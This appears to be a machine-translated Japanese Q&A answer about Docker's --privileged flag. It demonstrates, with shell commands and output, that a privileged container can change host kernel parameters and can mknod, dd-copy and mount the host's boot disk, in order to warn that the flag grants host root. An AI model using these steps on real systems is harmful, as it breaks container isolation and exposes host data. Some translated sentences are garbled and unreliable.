質問: 特権コンテナと機能 特権モードでコンテナを実行している場合、すべてのカーネル機能を持っていますか、それとも個別に追加する必要がありますか?
回答: --privilegedを使用してコンテナを実行する必要はありません。nvmeドライブを搭載したラップトップでこれを行っていますが、どのホストでも機能します。docker run --privileged -t -i --rm ubuntu:latest bash まず、/ procファイルシステムをテストするために、ちょっとしたことをしましょうコンテナから:root@507aeb767c7e:/# cat /proc/sys/vm/swappiness 60 root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness root@507aeb767c7e:/# cat /proc/sys/vm/swappiness 60 ok、コンテナまたはホスト用に変更しましたか?$ cat /proc/sys/vm/swappiness 61 おっと!ホストカーネルパラメーターは任意に変更できます。しかし、これは単なるdosの状況です。親ホストから特権情報を収集できるかどうかを確認しましょう。/sysツリーを歩いて、ブートディスクのメジャーマイナー番号を見つけましょう。注:2つのnvmeドライブがあり、コンテナは別のドライブのlvmで実行されていますroot@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev 259:2 ok、dbusルールが自動スキャンしない場所にデバイスファイルを作成しましょう。root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2 root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 label: gpt label-id: 1be1df1d-3523-4f22-b22a-29fef19f019e device: /devnvme1n1 unit: sectors first-lba: 34 last-lba: 2000409230 <snip> ブートディスクを読み取って、パーティションの1つにデバイスファイルを作成します。開いているためマウントできませんが、ddを使用してコピーできます。root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3 root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img 532480+0 records in 532480+0 records out 272629760 bytes (273 mb, 260 mib) copied, 0.74277 s, 367 mb/s ok、マウントして、私たちの努力がうまくいったかどうかを確認しましょう!!!root@507aeb767c7e:/# mount -o loop foo.img /foo root@507aeb767c7e:/# ls foo efi root@507aeb767c7e:/# ls foo/efi/ boot microsoft ubuntu したがって、基本的に、誰でも--privilegedコンテナを起動できるコンテナホストは、そのホスト上のすべてのコンテナへのルートアクセスを許可することと同じです。残念なことに、dockerプロジェクトは信頼できるコンピューティングモデルを選択しており、認証プラグイン以外ではこれを保護する方法がないため、必要な機能を追加する場合と--privilegedを使用する場合は常に誤りがあります。